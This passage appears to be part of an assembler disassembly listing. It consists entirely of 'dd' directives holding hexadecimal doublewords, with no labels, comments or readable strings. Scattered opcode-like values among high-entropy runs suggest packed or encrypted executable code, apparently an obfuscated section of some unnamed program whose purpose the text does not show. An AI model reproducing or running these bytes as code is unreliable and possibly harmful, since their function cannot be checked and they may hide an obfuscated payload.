0C0D87439h, 9F096008h, 9D838946h, 0B1705600h, 0AD59F189h dd 7DB7D337h, 34106259h, 0CCD21AC6h, 764919E9h, 1B23CFF7h dd 1A674D53h, 537B766Ah, 1A1F050Bh, 0B33766Ah, 0B605D1DCh dd 975FB50Ah, 6A19AB91h, 0E1E7BF76h, 766A19FBh, 204FE70Fh dd 0B798CCEh, 32151B63h, 0BE7C5D33h, 330AF0F6h, 0F61E7C7Eh dd 0C91B43C7h, 0B61CEAECh, 0B4C16D05h, 6F479922h, 4D436A2h dd 0FCD623BBh, 188690BFh, 871A2068h, 0F5827184h, 4C1921CDh dd 2F87338Ch, 63FBE1E7h, 0E70F8292h, 639274B8h, 7B9D8292h dd 71A1C4DFh, 205DCE4Dh, 74000000h, 0B1F9A513h, 0E502E8ABh dd 0E28EB657h, 602BA9Ch, 0E7A3C558h, 0D9D679ECh, 0BD85F8h dd 129C0000h, 3E4BF7C4h, 55686F99h, 30951A9h, 51F1E81Dh dd 0C5710931h, 0F19D1EB8h, 0A14512E9h, 54BCBCA6h, 0FFBC1A25h dd 872A97ADh, 21B551F2h, 6B6B489Ah, 2A98A450h, 9F763E86h dd 14C1B06Eh, 0DAFE4EA5h, 4CEF3362h, 0DA57E5D2h, 168460B2h dd 991C226Ah, 0E75DFB8Ah, 2DAA77BFh, 0CB801ED1h, 81875299h dd 5E1D199Bh, 57EF87AFh, 0EAF2805h, 93A2AD30h, 0A180238h dd 213h, 80D2EDEFh, 3B8D30A3h, 0F547745Eh, 0AAFCBD18h dd 61B30ACDh, 0B7209028h, 0FAD7B406h, 48906DBFh, 8E482577h dd 47CFDB2Dh, 0BD15B41h, 0D746F58h, 0B0F8C512h, 0E7FCE2E8h dd 0E81051F1h, 0ACCA9B9h, 13A65FB1h, 0DAB1F9A5h, 36B211F1h dd 3D437290h, 0E5527437h, 71654257h, 0B38AF34Ah, 0DF5C415Bh dd 73559B47h, 7E58060Ch, 8BEAD1A8h, 86CF2EB7h, 4E450557h dd 0F8D95817h, 0CCE7h, 0C412FE00h, 993E4BF7h, 21254065h dd 26BEF422h, 36C7347Ah, 845251F2h, 0CE08E537h, 0C73541EDh dd 26C9CF17h, 0B457E589h, 9A623A8Ch, 668AE94h, 0EDE5C258h dd 32CA22CEh, 20CCF3E5h, 218F99C8h, 0A56D357Dh, 668B99Fh dd 76A5CD58h, 0FB3D0E32h, 2E769E5Dh, 0B2989E66h, 0C65E1D1Dh dd 73646F9Eh, 0BC1BF84Ah, 9EC42301h, 15FF3893h, 12607h dd 0BF00DC00h, 7A43906Dh, 34874B28h, 0E9D005E2h, 0A01DBA97h dd 0DA3154Eh, 0C4A1F3CAh, 7D5AAC0Dh, 3512645Bh, 0BCC81AA1h dd 0D2482E34h, 615C580Bh, 0F8C512FAh, 0CD28D9B0h, 0FB2C1218h dd 184051F1h, 0EDBB53C1h, 5D1AEBEh, 4DE5D401h, 20993805h dd 0CED41C74h, 51F232E8h, 95A5D4FCh, 8C4A17DCh, 0D42B832Fh dd 0C9FA9F29h, 0AFBAE94Bh, 0E0E89427h, 9CC27D09h, 0FC2B088Bh dd 2026E5F1h, 51F2D03Ah, 0E8AE11C7h, 8C7278C0h, 0A051F2CFh dd 0B28EE078h, 0A78ADD44h, 702AF057h, 0C08A90D8h, 0A57EBCDh dd 7A26953Dh, 476FF322h, 6D6A37FFh, 0CCE4CA50h, 0D0F8580Bh dd 582F37A1h, 76555A9Ch, 0B0BBEA62h, 66439526h, 979F4B70h dd 65E3C9CFh, 0CFF7580Bh, 8C895CA0h, 0E3F03A28h, 0B1212EDAh dd 84E85E0Ah, 0C92DE3C6h, 58637389h, 59AD2906h, 3E964279h dd 0E8EDFAA6h, 2ED025D1h, 0BDFED86Ch, 10C6936Bh, 65717CABh dd 0D5A2AA56h, 0B50DB900h, 157A86h, 0EAB20000h, 8006B51Dh dd 0BC898B9Ah, 705786AEh, 308D4A17h, 1261C801h, 3C49F5CAh dd 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h dd 4A5703B6h, 7A873388h, 33B86459h, 52D268h, 240C8900h dd 7B8068h, 24148900h, 7F7D68h, 241C8900h, 19E1E168h, 8B545A06h dd 0C483241Ch, 0D0895004h, 8B084389h, 0C4812404h, 4, 53241C8Bh dd 0C381E389h, 4, 4C381h, 1C870000h, 148B5C24h, 0E0895024h dd 405h, 40500h, 4870000h, 0A8E95C24h, 7AFFFA91h, 0E80D1360h dd 0EC15B8C0h, 0C5030619h, 240E0FFh, 8E7748CEh, 8AB469DAh dd 0AB7E6DF7h, 0E5166E35h, 7BC01A75h, 8BF26C68h, 0AC5389Ch dd 6008465Ah, 0C3927D78h, 4DE200FFh, 2AB5256Bh, 0DAE24906h dd 0B12E1B63h, 0B9BA311Ah, 0AF8856E2h, 81500E20h, 92BB374Fh dd 0E8627105h, 0EAF55F7Eh, 0B24A36ADh, 0AE791156h, 0BE84E15h dd 0C5000000h, 5B4B4h, 0F3BEC291h, 0BE89A6Ah, 0A7000000h dd 0BF873788h, 1105A769h, 8B6644A3h, 0F585ECEh, 0C081F1B7h dd 6FD1h, 0FD233F9h, 1A8Ch, 0EE800h, 14850000h, 1EEBF7F6h dd 0EEB9D738h, 5325150Dh, 0A32EC681h, 8B5F198Dh, 0E781101Ch dd 29FFAC63h, 5848C381h, 7E94BBEh, 55000000h, 0E260A34Dh dd 0EB812C2Bh, 59324455h, 2880Fh, 0CF8A0000h, 839BEB81h dd 0F533E00h, 48FCABFh, 0CAB70F10h, 83F78B66h, 7E904EAh dd 0C6000000h, 0E4DC4570h, 0FA816E3Eh, 0FFFF90D4h, 0FFA9850Fh dd 0F681FFFFh, 5D8390FAh, 15E9h, 709F8A00h, 5Dh, 3 dup(0) dd 1CE90000h, 0BE000005h, 724FA11Eh, 2D0A5C61h, 0E7C416A5h dd 9C79CBEEh, 0F730823Bh, 0D5E8EFC1h, 8E2BA683h, 46795F3Ch dd 0FCBF17F4h, 10169EAAh, 580BD52Ah, 17DC433Eh, 1308D4Ah dd 93DBE0F6h, 1AD12C6h, 3107AA9h, 0BA97E9D4h, 0E6F39F1Ch dd 121FCBF0h, 0DA50FCC1h, 0DDDCF5C2h, 3D232931h, 5151F1E8h dd 8E449129h, 0FA29812Dh, 8452EAA8h, 0D0685582h, 8910B188h dd 966A0AD1h, 5E7A5767h, 0A6320F61h, 988C7464h, 0EAEE7901h dd 2E8632CAh, 54814E96h, 0BFCC3665h, 0A6FBA712h, 2AAE4604h dd 1ECAF3E0h, 0FFDC2EC6h, 0F238E4D7h, 51F29E0Fh, 0C0DB778Bh dd 0FEED3BA5h, 5E59h, 40177000h, 0C47D70E4h, 40262CCFh dd 5451F297h, 464C942Ch, 51F29760h, 121D4C74h, 54BF7C4h dd 51F29721h, 0D4CF8B9Fh, 0FEED4291h, 16Dh, 0C1128400h dd 904350FCh, 6174812Dh, 0D236AC58h, 1DB481B0h, 4A0459Ch dd 0A3500541h, 536A6974h, 97522901h, 0A33D54C5h, 63737EADh dd 124D0658h, 5C4248C5h, 7051F1E8h, 0F704B048h, 10A92CDCh dd 0F3B50C64h, 63026E24h, 0E85A069Eh, 0A92EC684h, 0F1E5C214h dd 21B582CAh, 0F9016B9Ah, 0E413AC2Ch, 1503F9D9h, 304FF4A4h dd 96C3A9AFh, 0AFD751F2h, 0C6D37F17h, 0F901AD12h, 0F2970DF3h dd 0ACF92151h, 94E99526h, 8A5150F2h, 4F172A68h, 0F2976349h dd 204F7751h, 0ED40C1B4h, 715DFEh, 12740000h, 0E8B0F8C5h dd 0F1E7FCE2h, 32381051h, 51F1E84Ch, 71A03860h, 0E3D8FA07h dd 3D5DC137h, 23963F0Ch, 506D6A77h, 597E89B8h, 0A2351264h dd 0D006D31Bh, 4552BCEBh, 0F67D2990h, 0BB83B6D4h, 4CD2E7EEh dd 51F1E866h, 81389D7Ah, 274EBAE9h, 0F7FEEDF0h, 42h, 43C5120Eh dd 48902893h, 0B965587Bh, 0BBC83261h, 0C2F6A21Dh, 4F88BCDEh dd 12631C6Eh, 0E7B4FCC1h, 0C921CDF0h, 7EA309Ah, 8351F1E8h dd 0ADB8D36Fh, 51FEEDF1h, 0Ah, 0D317249h, 9EA102B2h, 0C012886Fh dd 94424FFBh, 676E7B27h, 3999A652h, 1DB504CDh, 1B375B71h dd 31C9F0E1h, 0A458FA9Ch, 5F3B8D2Eh, 0FF054DF1h, 57E502E8h dd 7D8A365Eh, 0E8E0A359h, 4AE9FE41h, 0B18860B2h, 989E2DD2h dd 5806A2B2h, 66479EC6h, 848FBE92h, 77BD6952h, 58065893h dd 0BB7111F5h, 0D4E7EB1Bh, 0C90DEA3Ch, 9D3946F2h, 9C00721Eh dd 2B9046FEh, 97441BE3h, 2EA47800h, 0B59076FCh, 7CA45806h dd 66FF3D4Dh, 0F8F8D923h, 0E312AD2Bh, 12D7Dh, 0A5139400h dd 74ABB1F9h, 2A57E50Dh, 8D495602h, 27AB5F79h, 0F890E894h dd 0A5CF44Ch, 4B726532h, 0F6C5111Ch, 22993D4Ah, 15EC0476h dd 0EFF7313Ah, 4496C55Fh, 0D3E8EE06h, 0F6DCA981h, 92C119C5h dd 0D9D73F26h, 5BBFF8h, 13D60000h, 0E8B0F8A6h, 0F1E7FCE2h dd 0B9E81051h, 0E7E7ADB3h, 93BBD1F1h, 0FEC6744Bh, 0D5ED3F27h dd 9AA1878Dh, 8DB5D1F2h, 0C8AEF45Eh, 4CD1F29Ah, 66D36A28h dd 3DE9D403h, 0FF054DE5h, 51F29B39h, 0BB93E50Dh, 0A7D6E3EEh dd 999Bh, 50BD300h, 51F29B1Fh, 15BE0B33h, 75A4FCA8h, 0F9A5138Eh dd 10F0ABB1h, 769E57E5h, 0A219BDCAh, 58637350h, 0F28566ACh dd 0FDE15805h, 0F2DFAC5Dh, 498D98C7h, 5C622A72h, 5805F276h dd 2333628Ah, 0DF87744Bh, 20A08068h, 8BBA05D3h, 236B1381h dd 35A91Dh, 0DCFCD95Eh, 47DF37E3h, 1BA032FFh, 7EE8176Fh dd 67AB9F76h, 0F08BB07Ah, 0E620B6C1h, 0CC24D0EDh, 0CF67527Fh dd 0AB78CE23h, 1062912Ch, 0EC4DBB72h, 0D028D4E5h, 76EAF038h dd 0A6641A51h, 8986F8BFh, 0C45CBA7Ch, 0A513B972h, 0EFE4B1F9h dd 9BCA22CEh, 0F61B8F95h, 234B57EBh, 4F6C6A77h, 5B620FDh dd 62961359h, 74D81332h, 3B81ED6h, 0B902D4B1h, 0BDA3A971h dd 4AB37541h, 2B832F8Ch, 724B8865h, 3441ABDAh, 5F6C18A1h dd 8B984477h, 0ADC36F4Ah, 53E8C989h, 14A530FDh, 45785B68h dd 5CA94199h, 0C012417Ah, 9A6C6A82h, 97E9813Eh, 579F1CBAh dd 41A3898Fh, 8FB7B375h, 8E8F660h, 3F000000h, 45915EE4h dd 12604776h, 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh dd 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h dd 51E38953h, 0EC1EE5B9h, 58F18131h, 0C13DA751h, 0C18108E9h dd 0FFF3B4B5h, 8359CB01h, 1C8704EBh, 89535C24h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 81E68956h, 4C6h dd 4EE8100h, 87000000h, 895C2434h, 5157240Ch, 8A6E84B9h dd 7E9C141h, 4074C181h, 0E9812ED5h, 293E67A5h, 8959CF89h dd 8B545FF8h, 0C483240Ch, 3A5F6804h, 4890000h, 8418F24h dd 592434FFh, 4C481h, 48B0000h, 0E0895024h, 405h, 4C08300h dd 5C240487h, 0FA8B5EE9h, 744FB0FFh, 0B8A8019Eh, 619F225h dd 0E0FFC503h, 3707AB25h, 61BAA52Dh, 574FC666h, 6B30FD56h dd 27A65C27h, 3293B5FBh, 0BB40A40h, 0F3FA65Fh, 16C8788Eh dd 30161330h, 59823BF2h, 1ACD1AD5h, 0F3E78D8Dh, 6A0619h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 693555C3h, 8D8993FDh, 6143229h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 2CC35040h, 303502C5h, 9E5B5FB3h dd 4DE68166h, 0D995BF7Ch, 85C77083h, 614064Dh, 7040h, 8F0Fh dd 85C70000h, 6142671h, 0 dd 0EE9h, 891A600h, 815F79BEh, 27F27AA9h, 0FF94C997h, 140591B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 748EDB40h, 0BDF2E84Fh, 95FF2A75h, 6142361h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A9C35343h dd 0F5924D0Ah, 0B1958BFAh, 6A061405h, 6995FF00h, 8B061411h dd 7C7FEBC0h, 39789F6Bh, 0A3C88228h, 0CAB442Dh, 3548DDC3h dd 3FD611EEh, 30C95BD0h, 0C8DB0A67h, 39895A02h, 0A99BD9EFh dd 0A4AD790Ch, 0C272D4D6h, 4E341821h, 74CB6E0h, 8D39F0Ch dd 3AD078A0h, 0D7163F6Ch, 0C72EB997h, 6EAD0BC5h, 0B90DCACBh dd 3CF005E4h, 1DF76863h, 0DE91846Ah, 5A46ADB3h, 5A23F555h dd 0A6F02F80h, 0D92CE4DAh, 27F937EAh, 5378E964h, 8C51DD62h dd 0F6A5653h, 0DA97A76h, 8D8D9516h, 619F520h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8C35242h, 8B283F1Eh dd 142E319Dh, 45DA8006h, 32298D89h, 6A0614h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0EA2305C3h dd 0F2861CF9h, 36A3BE5Bh, 8D29545Fh, 61410B5h, 64D85C7h dd 5CB80614h, 8B660000h, 7185C7F3h, 61426h, 0F5000000h dd 2E1B5FFh, 85890614h, 61423D9h, 236195FFh, 6A0614h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 77552CC3h, 0BF2DF4B3h, 95FF006Ah, 6141169h, 1DEBC08Bh dd 0D1910119h, 0EE3D7FEAh, 0CFF61C49h, 4299AF88h, 51F4B7A8h dd 98F1E345h, 0E4F6A16h, 22E972h, 0EA4F0000h, 674Ah, 242h dd 6 dup(0) dd 0C0CE9h, 0F7106800h, 4FE90619h, 68FFFB51h, 619F7F9h dd 0FB5145E9h, 0F98468FFh, 3BE90619h, 68FFFB51h, 619FA4Dh dd 0FB5131E9h, 0FAF268FFh, 27E90619h, 68FFFB51h, 619FCFEh dd 0FB511DE9h, 0FDAF68FFh, 13E90619h, 68FFFB51h, 619FECCh dd 0FB5109E9h, 0FFC268FFh, 0FFE90619h, 0A1FFFB50h, 2236076Bh dd 0A5B98AE0h, 2A3E0F5Bh, 0ACC091D7h, 3247185Ah, 0C66A08Dh dd 94DC273Bh, 1A56AFC3h, 9ECA3549h, 8A266BCDh, 3046EEF6h dd 0D9CB1B79h, 45894226h, 9DDAEBAh, 0AA2DF0F1h, 0F9F78B27h dd 0E1722A2Ch, 2A331CA8h, 0C5563410h, 29E8800Ch, 867A3041h dd 1EE72BE4h, 369A9952h, 93D82A30h, 29E07410h, 0CA5B3041h dd 0F879FD91h, 6FA74855h, 3548h, 1194A00h, 68A13D00h, 0ED341020h dd 0D20703B5h, 0F2836E29h, 5215AD39h, 83E93041h, 74DB7EE3h dd 34886FA7h, 4B22F7CCh, 0B80C4265h, 0F42D6E27h, 0E3C7h dd 26D9C900h, 0C1458942h, 4BB4F8B1h, 0C76B7E76h, 0F3844B0Ah dd 2D09F63Ah, 2D3CFD91h, 5EEF802Ah, 48E4318Dh, 87782A2Ch dd 36CA1EE1h, 0CC377B34h, 59DA13A4h, 2F41C216h, 0B8FC3576h dd 64682147h, 3CC5194Ch, 40BC502Ch, 0AE3F2A2Dh, 40BB4FEBh dd 0AD3E2A2Dh, 0ECBD591Ch, 61341066h, 0C4BCFFD0h, 0E505FC7Ch dd 1A1E57D0h, 0A23E0102h, 3A28A540h, 0D06400C3h, 4B2A2F3Ch dd 0E36629BAh, 901B58EBh, 2F4C60F4h, 124ADB2Ah, 316A34D2h dd 885919EDh, 17E09274h, 0E0BA6296h, 0AA76C43Fh, 0E9000009h dd 6A7E4F23h, 0ED01D298h, 72865713h, 0F408D98Fh, 7A8F6012h dd 541EE845h, 0DC946F83h, 620EF70Bh, 0E6827D91h, 0D26EB315h dd 3046F13Eh, 0D91363C1h, 6074452Dh, 0B206C99Fh, 84E41B54h dd 40F98ACBh, 0F745C6FFh, 32CE0119h, 2A2CF99Eh, 7FC9021h dd 0DE6FB069h, 20467F1Bh, 7A0B3410h, 139D35C1h, 0B713041h dd 3663066Bh, 0BC566FA7h, 58000000h, 894226D9h, 53AEC145h dd 6DC18415h, 0DA1BD494h, 5FAC38A1h, 0D92A2C06h, 0A9C13F26h dd 5B1EAFF0h, 0F6272B63h, 0B44DE2DCh, 29BAFBB4h, 0A45B6FF0h dd 0EF070BC4h, 0BE8F2BEEh, 0C3341103h, 0CA1E6132h, 0FAFE3739h dd 9B1EE1E2h, 41F76BFFh, 6602FD30h, 86F932C3h, 28B379EAh dd 985BEC3Ah, 0DB771D15h, 5625E61Eh, 452DD91Dh, 0CCA66074h dd 0BA718003h, 80CE49E0h, 8C1h, 67383AD2h, 0EABBAF53h dd 6F402AD6h, 0F1C2A65Bh, 784929DDh, 35D1BE63h, 0AB586C3Dh dd 25E0F4C5h, 99667A4Bh, 579CFECFh, 46F127BBh, 0F444A230h dd 74452DD9h, 40C69F60h, 9AD6D78Bh, 18A94C93h, 0D968B687h dd 45894226h, 9DDAEBAh, 0AA2DF0F1h, 2CF97A0Eh, 2B64F52Ah dd 783D35B8h, 91C81BB2h, 14AD3972h, 99341054h, 0F40B4F08h dd 708FA374h, 16B235F8h, 30412582h, 7371C5FDh, 672DB504h dd 0E37713D6h, 6630413Ah, 0A7339CD5h, 0B9F6662Eh, 85F176Bh dd 5DA071F7h, 0BB74FC09h, 2FD417Ah, 5C049834h, 0F687AB7Fh dd 8720AC65h, 19AB7F5Bh, 88CC85EDh, 0A75CF07Ah, 0E9CD10C9h dd 2A8EDD8Dh, 84E41B4Ch, 0A3956DC1h, 7F5B7307h, 0D465F6ABh dd 0DFD71A9Bh, 0B34067EDh, 5315EA4Ah, 0BA4589C2h, 0CC69F5AEh dd 3AAB7F74h, 0D13F8D85h, 64361536h, 33CCD9Bh, 9F60F76Fh dd 1BE4F8C9h, 7890944Dh, 2718B477h, 5AB2BD8Fh, 450E06C9h dd 52B650ECh, 6034B5EEh, 0E8844748h, 0ACC9829Bh, 0B844FD8Eh dd 0A8DA731Fh, 5F1850B1h, 0CB84E41Bh, 7328BC58h, 12A3A8DAh dd 78E2849Ah, 0BBA6C026h, 0E8409118h, 4A10Bh, 0FD910D00h dd 602A2CF9h, 0BF78FA0Ch, 21B9457Eh, 842A2C0Ah, 800FF58Ch dd 1CE94834h, 0C95A9B54h, 74D40490h, 0C65E2A2Ch, 982A2D6Ch dd 20BC7F80h, 3410905Bh, 0B2B84ADEh, 5E27B8F9h, 0E6AC4731h dd 36A5F36Eh, 5D000007h, 0DEF2C3AFh, 61754624h, 0E6FACB9Fh dd 687C4D1Bh, 0EE03D49Eh, 0C8AA5CC9h, 5020E3F7h, 0D69A6B7Fh dd 5A0EF105h, 46E22789h, 3046F2B2h, 0D97FCF2Dh, 85894226h dd 0DA96C6Dh, 3416F23Ah, 2848BB0Fh, 669A2E6Fh, 0D10A4B04h dd 0F31CED7Eh, 4849611Dh, 99D13185h, 9051ED60h, 0F53A2A14h dd 633E8C64h, 0C6DBDB2Ch, 8C1A09CEh, 7BB40184h, 9B5E5F77h dd 38FA6DA3h, 81BA9C42h, 0C9378B0Eh, 3FDC68A1h, 0CAE37CCCh dd 0DE227639h, 65B21EE5h, 0EC7DF38Fh, 50B9F233h, 7033344Ch dd 56D99EDh, 0E7B540CCh, 0AB3CDD88h, 0FD6B94E8h, 0E9F1E92Ch dd 9A369C13h, 7689CD06h, 150E5A4Bh, 0FB8CA29Eh, 0D4BA5F32h dd 7BC9444Fh, 66Dh, 0BB8CE626h, 3E0F5BA7h, 0C394D62Ah dd 451652AFh, 0CC9DD531h, 0E12502B7h, 57ACC091h, 0D1344819h dd 45BACE9Fh, 0ABF05223h, 46F37B0Fh, 50A0FE30h, 3D000119h dd 101F08A1h, 43FC8D34h, 0AF6800FFh, 1ED79B6Bh, 8B4426DAh dd 9A294D63h, 4B5B343Ah, 0F1DC6D60h, 0B6CED99Dh, 0BD56F2B5h dd 403A2422h, 5C1553ACh, 5DB98A1Bh, 2A2D16C5h, 2D167B0Fh dd 34354D2Ah, 1002D571h, 13673417h, 0EF427BEFh, 8219A55Eh dd 0CE3046E1h, 3046E22Fh, 79B37BAh, 82241311h, 8B74B8F1h dd 3FB314DDh, 910C195Eh, 5C843h, 3141CB00h, 0B4B64C60h dd 3931CFE3h, 0BBAD5468h, 4230D6EAh, 0CAA75C71h, 5165363Ch dd 0D9EDBEB2h, 5F73442Ch, 95F7C8A0h, 0F420B450h, 3D9B3046h dd 119EDh, 0E7C2BA3Dh, 0BB147620h, 5023AFE8h, 0D93417B5h dd 0B44B8F48h, 0F10FE3B4h, 1EE135F8h, 2FE87C18h, 0D2633046h dd 5B9F0841h, 0DFF3C4A4h, 1C8F4820h, 0CE200324h, 0C3FC8CA0h dd 62B6807Fh, 5FF3CFA1h, 0E930469Dh, 57985119h, 0C46023B4h dd 30469E30h, 0D0891AABh, 5E096DD1h, 2D42C4A1h, 9CDD96D2h dd 8011520Bh, 0EE186CAFh, 518ACB84h, 0ACC07417h, 1B4676Fh dd 19690000h, 0E93D0001h, 5B9C551Dh, 0D82CAF22h, 0E27E4127h dd 2A2CF94Eh, 7B0740D1h, 3410238Ah, 2CC05CDFh, 0AF30411Fh dd 192E51Eh, 1F22BC48h, 4BB83041h, 1EC357F3h, 0B5463041h dd 0DC276B24h, 9FF7D4EDh, 0FE8FF815h, 68000145h, 0EEC46EAFh dd 2F93E288h, 15486037h, 702941C1h, 27BF532Fh, 0B9493041h dd 14B7F8B1h, 0DB2FF283h, 970A4327h, 24510AFBh, 1DEE7F3Ah dd 976FF609h, 4874ADBh, 2D04D468h, 0F894572Ah, 2A2D0464h dd 8CC556E7h, 4820DF23h, 8A8BA377h, 35422BC7h, 36C73410h dd 3459F17Dh, 16EB3041h, 28B9B14Fh, 94D42B6Fh, 0D99DB3DBh dd 9DD93F91h, 0A75331D4h, 44246Fh, 19260000h, 0BA3D0001h dd 4E22E337h, 0E4785495h, 672A2CF9h, 0D8119DD6h, 9D34101Fh dd 43C6490Ch, 411413A7h, 29059630h, 30411395h, 0EB7D8418h dd 2CB8215Ah, 30411394h, 0FD640268h, 6FA7365Ah, 0A04Dh dd 26D94F00h, 4FD0449Bh, 50E194C7h, 0A3CA398Dh, 0C37C0D5Dh dd 6DE04982h, 5A1E2B75h, 3A739849h, 0A96210F6h, 15CE9A65h dd 693A2ED1h, 2CCDC00Dh, 2543BC2Ah, 67688054h, 39CD21A4h dd 63F8039h, 1482837Ah, 94720634h, 0B5BB4ADEh, 0F90D6124h dd 7294A879h, 50443700h, 0EA65E6AEh, 3BC9Ch, 3D35D700h dd 0C0AA586Ch, 4525DBEFh, 0C7A16074h, 4E24E2F6h, 0D6B3687Dh dd 5D714230h, 0E5F9CAA6h, 6B7F5020h, 0A103D494h, 0F62CC05Ch dd 51AF3046h, 452DD901h, 26DD3174h, 1750914Ah, 6B3C2CD3h dd 4226D91Dh, 7CBA4589h, 2CF94CE0h, 0AD3ECF2Ah, 0F9918EDCh dd 432A2C79h, 2A2D79ABh, 0A164657Dh, 79EE821Eh, 0E0712A2Dh dd 19EB58A8h dd 72AB5A91h, 3E9063FFh, 5993417h, 24DD6EFAh, 44070820h dd 8768C9C1h, 23A36CFh, 8F23CCE9h, 36C2FB77h, 3A29FDE9h dd 996DC144h, 0F569FDD9h, 53E42A3Ah, 0CC33C71Ah, 0D420B9Ch dd 3AE0B5D4h, 30B71BFh, 84880000h, 0F9091DEEh, 748CA071h dd 0F01125F6h, 7393A778h, 0E4192EFFh, 22F37F87h, 0AA7BF50Eh dd 30016F96h, 0B485E31Ch, 0DD710D52h, 603046F6h, 26D9B202h dd 0BA458942h, 0F109DDAEh, 0A8912DF0h, 0CD34102Ah, 5FF7833Ch dd 33304129h, 25C8A9CDh, 186FA748h, 3Bh, 1191Ah, 5317E93Dh dd 0AD20599Ah, 101FD811h, 0FD099D34h, 0EA7BBC75h, 140DA531h dd 9CE13041h, 7CB5BB48h, 40E38EE8h, 336FA736h, 0D0h, 8D21BD40h dd 10304107h, 0D9C8467Fh, 45894226h, 0F8AB0AC1h, 5900FEAh dd 0F448BB74h, 62A35C0Eh, 4E1AE529h, 0BAAE5195h, 0F4AEA6E9h dd 7575C12Fh, 1647008h, 0F98AF090h, 8E069A36h, 0F8892A2Dh dd 99E633BFh, 8D722A2Ch, 9F60ADBh, 0B7489C5Fh, 7EB7F8B1h dd 0F8F91115h, 0BA409935h, 0B4453410h, 0F6F70FE3h, 0A35CB033h dd 0D26602C5h, 4D304199h, 0FEF783BCh, 833A2850h, 2BDB2FF2h dd 0CF308447h, 6CFD6B96h, 0B83972B3h, 471062A4h, 0E0BA3F08h dd 0EE80CE49h, 0A5000001h, 263A0B67h, 0A9BD8EDCh, 2E421357h dd 0B0C495D3h, 364B1C56h, 1062A481h, 98D82B3Fh, 1E52B3C7h dd 0A2C6394Dh, 8E2A6FD1h, 3046F7FAh, 0D9C71775h, 6074452Dh dd 0AAF8C99Fh, 3D000119h, 102068A1h, 0BAD5CD34h, 0D0394922h dd 46D72A63h, 0ED69018Dh, 0D73D3041h, 102FD29Fh, 0EA226FA8h dd 24000000h, 894226D9h, 0EEB1C145h, 0CC056B9Ah, 68AD763h dd 0F10E2A2Ch, 0E063A677h, 2CFDB044h, 619A2B2Ah, 0CD86E21Dh dd 0EDB0B1C9h, 48016999h, 0D85BCE07h, 0FE25B955h, 17A82A2Ch dd 2DF952DEh, 85C3410h, 7BBC75FBh, 164F1BE7h, 1B6F32C3h dd 8BCC85E5h, 0E5FDD152h, 0AB8521E4h, 0AE3A27E9h, 65A1Dh dd 902CAF72h, 2A2F79FCh, 34B5EE7Fh, 7C31F9F1h, 0C9B1C64h dd 5F0CB6D4h, 92CB6C51h, 49B7B84Eh, 0FA40E921h, 6C45BA13h dd 51C912DBh, 7BF6E0BAh, 0F82Dh, 1719B00h, 84E61C30h, 9619FB3h dd 8BDD2438h, 1260A6BAh, 9AF72C41h, 2135066Ch, 0A9BD8EE2h dd 2F43145Ch, 65C798D0h, 0F8F08420h, 0D6B3046h, 0EBB2AABDh dd 0DF730FACh, 5A2A2DDDh, 0FF3791C9h, 9670B4EDh, 74C80BDCh dd 60A4DD8Bh, 0B206C99Fh, 5FE0194Fh, 4226D911h, 95D52B7Fh dd 0F9629BDCh, 4D1E4AB5h, 9D606179h, 16F22A01h, 689B2F34h dd 4377D008h, 6C00E0Ah, 8778BC75h, 3FC10E1h, 15CEA462h dd 0FE8A43D4h, 8FF7E40Ah, 48016F94h, 0B26BFD04h, 5DD5936Eh dd 76942F47h, 66521FE1h, 1D503BCCh, 556AFE9Ah, 54E59176h dd 78EF871Bh, 0FC10E187h, 0AAA26503h, 0EC46A487h, 7EE7200Eh dd 619EC73Ah, 95BD7607h, 8F70E77Fh, 0BF408D9h, 0C3A612B6h dd 0A93AE500h, 8E857DF0h, 3BAD50Ch, 1269B7F0h, 0A4000000h dd 0EE8AB650h, 91762C5Ah, 0FAB344D5h, 0AB0280B9h, 3F33D91Bh dd 0ABBD4286h, 1957AEF2h, 89E71C60h, 0F87A8CD0h, 670BFB3Fh dd 0D1976AAEh, 3E2CD418h, 0A9C14185h, 8950EAF0h, 4BF57E0h dd 1000000h, 0E8835FF8h, 24048704h, 613685Ch, 1C890000h dd 4D6E6824h, 4890000h, 68575024h, 182B30F0h, 0D5C7815Fh dd 0F75DAA39h, 0F2F781D7h, 898C3360h, 0C3895FF8h, 72FC6858h dd 24890000h, 24048324h, 83685804h, 89000066h, 3481241Ch dd 5215E724h, 8408F02h, 0E7087081h, 8B025215h, 89572404h dd 4C781E7h, 83000000h, 3C8704C7h, 1C8B5C24h, 0E6895624h dd 4C681h, 0C6810000h, 4, 5C243487h, 0FB4555E9h, 388D00FFh dd 9F9669DCh, 0DFB8FDh, 0C503061Ah, 65BDE0FFh, 1E4E1B20h dd 0ACCF09B5h, 16502E9Ah, 31185D92h, 7CFD442Bh, 9C8C1639h dd 623F04FEh, 60F62271h, 0A3F85982h, 29084B3Ah, 7E2F3F73h dd 4E286439h, 99284E08h, 9A2B4FF6h, 0E8322BF7h, 37B819FBh dd 0CCAD15D6h, 0D2D0721h, 0FE5E493Dh, 32A10A6Dh, 0D2AE26BEh dd 0AD2E7880h, 2D2E7A96h, 0ADAE709Dh, 5EDD1020h, 10E83422h dd 0CE000000h, 107EA68Ch, 5538BCB6h, 3A604BCBh, 0E87A489Ch dd 12h, 0A48F515Eh, 35A14728h, 6D0E901Dh, 27042A5Ah, 73B104C9h dd 1DB15F59h, 6542C781h, 680000h, 0B4000000h, 0F18A5E8Ch dd 0F371C8Bh, 0C381C2B7h, 6F25DBC6h, 8840Fh, 880F0000h dd 2, 0C381D38Bh, 45BE814Ah, 5820Fh, 0BBB80000h, 810BA9E2h dd 4CBB6CEBh, 6E94Dh, 0A76E0000h, 3EA4D530h, 25BA6653h dd 37048FEFh, 0FDC18166h, 39EE8179h, 6076C431h, 537380B9h dd 14E97Fh, 3A090000h, 